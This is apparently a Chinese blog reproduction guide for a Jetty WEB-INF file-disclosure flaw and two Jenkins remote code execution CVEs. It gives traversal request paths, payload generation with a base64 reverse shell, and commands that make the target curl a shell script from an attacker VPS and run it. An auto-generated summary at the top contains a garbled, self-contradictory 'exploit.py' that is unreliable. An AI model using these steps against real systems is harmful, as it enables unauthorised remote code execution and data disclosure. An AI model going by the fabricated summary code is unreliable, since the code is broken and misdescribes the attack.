Jenkins 命令执行 -- jetty 敏感信息泄露 --(CVE-2021-2816)&&(CVE-2017-1000353)&&(CVE-2018-1000861)

jenkins,命令,执行,jetty,敏感,信息,泄露,cve · 浏览次数 : 59

小编点评

**漏洞简介:** - 攻击者可以使用 Jenkins 命令执行任意代码,包括访问 web 应用程序的敏感信息。 - 漏洞利用需要通过反弹shell命令进行攻击,但可以使用 Jenkins 的网页界面轻松设置和配置。 **漏洞复现步骤:** 1. 运行 Jenkins 命令执行漏洞脚本。 2. 通过 Jenkins 的网页界面设置和配置访问目标主机。 3. 使用 python3 -m http.server 8080本地运行漏洞脚本。 **漏洞复现代码:** ```python # exploit.py import subprocess # 获取目标主机地址 target_host = "jenkins_poc.ser" # 创建反弹shell命令 command = "bash -c {echo,反弹shell命令base64编码}|{base64,-d}|{bash,-i}" # 创建执行命令 execute_command = "python3 -m http.server 8080" # 获取远程文件并保存至目标主机 subprocess.run(execute_command, shell=True, capture_output=True, text=True, check=True, stdout=subprocess.PIPE) subprocess.run(["cp", "-r", "1.sh", target_host]) # 运行反弹shell命令 subprocess.run(command, shell=True, capture_output=True, text=True, check=True, stdout=subprocess.PIPE) ``` **漏洞影响范围:** - Jenkins 主版本 <= 2.56 - Jenkins LTS 版本 <= 2.46.1 **注意:** - 漏洞脚本需要使用 JDK-1.8.0_291 版本的 Java 运行。 - 漏洞复现需要在 VPS 上创建 shell.txt 文件,并使用 python2 执行 exp 脚本。

正文

Jenkins 命令执行 -- jetty 敏感信息泄露 --(CVE-2021-2816)&&(CVE-2017-1000353)&&(CVE-2018-1000861)

jetty 敏感信息泄露(CVE-2021-28169)

漏洞简介

对于 <= 9.4.40、<= 10.0.2、<= 11.0.2 的 Eclipse Jetty 版本,对带有双重编码路径的 ConcatServlet 的请求可以访问 WEB-INF 目录中的受保护资源。例如,对 /concat?/%2557EB-INF/web.xml 的请求可以检索 web.xml 文件。这可能会泄露有关 Web 应用程序实施的敏感信息。

漏洞复现

直接在url路径请求如下地址

/%2e/WEB-INF/web.xml
/.%00/WEB-INF/web.xml
/%u002e/WEB-INF/web.xml
/static?/WEB-INF/web.xml
/a/b/..%00/WEB-INF/web.

Jenkins 代码执行 (CVE-2017-1000353)

漏洞概述

Jenkins 可以通过其网页界面轻松设置和配置,其中包括即时错误检查和内置帮助。 插件 通过更新中心中的 1000 多个插件,Jenkins 集成了持续集成和持续交付工具链中几乎所有的工具。 Jenkins的反序列化漏洞,攻击者使用该漏洞可以在被攻击服务器执行任意代码,漏洞利用不需要任何的权限

默认端口

8080

影响范围

所有Jenkins主版本均受到影响(包括<=2.56版本)所有Jenkins LTS 均受到影响( 包括<=2.46.1版本)

漏洞复现

POC下载CVE-2017-1000353

  • 注意 运行jar包时必须使用JDK-1.8.0_291版本,否则失败
  1. 使用jar包生成 jenkins_poc.ser文件

java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,反弹shell命令base64编码}|{base64,-d}|{bash,-i}"

  1. 启动监听
  2. 运行exp进行命令执行
python exploit.py 目标主机地址 jenkins_poc.ser

Jenkins 命令执行 (CVE-2018-1000861)

默认端口

8080

影响范围

Jenkins主版本 <= 2.153
Jenkins LTS版本 <= 2.138.3

漏洞复现

POC下载 awesome-jenkins-rce-2019

  1. 在VPS上创建shell.txt,文件中写入反弹shell命令
  2. 使用python开启http服务
python3 -m http.server 8080
  1. 本地使用python2执行exp脚本,将远程文件保存至目标主机
python2 exp.py 目标主机 "curl -o /tmp/1.sh  http://xxxx:8080/shell.txt"
  1. 使用python2执行exp脚本,使目标主机运行脚本文件反弹shell
python2 exp.py 目标主机 "bash /tmp/1.sh"

以上内容仅作学习记录,如有错误或瑕疵,欢迎批评指正,感谢阅读。

与Jenkins 命令执行 -- jetty 敏感信息泄露 --(CVE-2021-2816)&&(CVE-2017-1000353)&&(CVE-2018-1000861)相似的内容:

Jenkins 命令执行 -- jetty 敏感信息泄露 --(CVE-2021-2816)&&(CVE-2017-1000353)&&(CVE-2018-1000861)

Jenkins 命令执行 -- jetty 敏感信息泄露 --(CVE-2021-2816)&&(CVE-2017-1000353)&&(CVE-2018-1000861) jetty 敏感信息泄露(CVE-2021-28169) 漏洞简介 对于 <= 9.4.40、<= 10.0.2、<= 11.

Jenkins Pipeline 流水线 - 上传文件 Publish over SSH + Docker 编译 + 上传到阿里仓库

Jenkins Pipeline 流水线 Publish over SSH 将jar上传到远程 Docker 服务器、执行编译命令生成镜像、将镜像上传到阿里仓库 Publish over SSH Jar包上传、编译、上传 生成上传 jar 包脚本配置 生成上传 Dockerfile 脚本配置 注意在

Jenkins Pipeline 流水线 - 声明式 Demo

Jenkins Pipeline 流水线 流水线既能作为任务的本身,也能作为 Jenkinsfile 使用流水线可以让我们的任务从UI手动操作,转换为代码化,像dockerfile 一样。从shell 命令到配置文件,更适合大型项目,可以让团队其他开发者同时参与进来, 完整语法 tools:添加工具

Jenkins部署

目录Jenkins部署1. 创建sa2. 创建pvc3. 创建deployment4. 创建service5. 登录jenkins6. 简单配置jenkins6.1 安装插件6.2 配置用户6.3 配置插件下载地址6.3.1 页面操作6.3.2 容器操作6.3.3 重启jenkins6.3.4 安装

Jenkins技术概述与开发实战

本文详细讲解了Jenkins的安装与配置、构建作业、流水线、构建、测试和部署的具体方法,涵盖关键概念、详细步骤及代码示例,旨在帮助专业从业者实现高效的CI/CD自动化流程。 关注作者,复旦博士,分享云服务领域全维度开发技术。拥有10+年互联网服务架构、AI产品研发经验、团队管理经验,同济本复旦硕博,

Jenkins 简述及其搭建

什么是持续集成? 持续集成(CI)是在软件开发过程中自动化和集成许多团队成员的代码更改和更新的过程。在 CI 中,自动化工具在集成之前确认软件代码是有效且无错误的,这有助于检测错误并加快新版本的发布。 什么是持续交付? 持续交付 (CD) 是指每天多次将新软件投入生产,自动将应用程序交付到基础设施环

Jenkins快速入门部署+实践

安装 方法一 Jenkins中文网下载jenkins.war 方法二 直接从http://mirrors.jenkins-ci.org/war/latest/jenkins.war 下载最新的war包,然后解压到某个固定目录就算安装完成了 启动方式 启动方法: java -jar jenkins.w

Jenkins 基础配置

博客地址:https://www.cnblogs.com/zylyehuo/ 参考链接 解决:Jenkins: signature verification failed in update site ‘default‘ (show details) jenkins 下一切皆文件 虚拟机基本配置 J

[转帖]jenkins 需要java11

https://www.cnblogs.com/zhoading/p/17079947.html 开源 Devops 工具 Jenkins 宣布: 从 6 月 28 日发布的 Jenkins 2.357 和即将发布的 9 月 LTS 版本开始,Jenkins 最低需要 Java 11。 Jenkin

[转帖]20191022-从Jenkins NativeOOM到Java8内存

我把老掉牙的Jenkins升级了,它跑了几天好好的;后来我有一个python脚本使用JenkinsAPI 0.3.9每隔2.5分钟发送约300余get请求,结果过了3天,它就挂了;当我开两个脚本时,40.5小时就挂了。(可以通过搜索Jenkins日志/var/log/jenkins/* 中字符Jen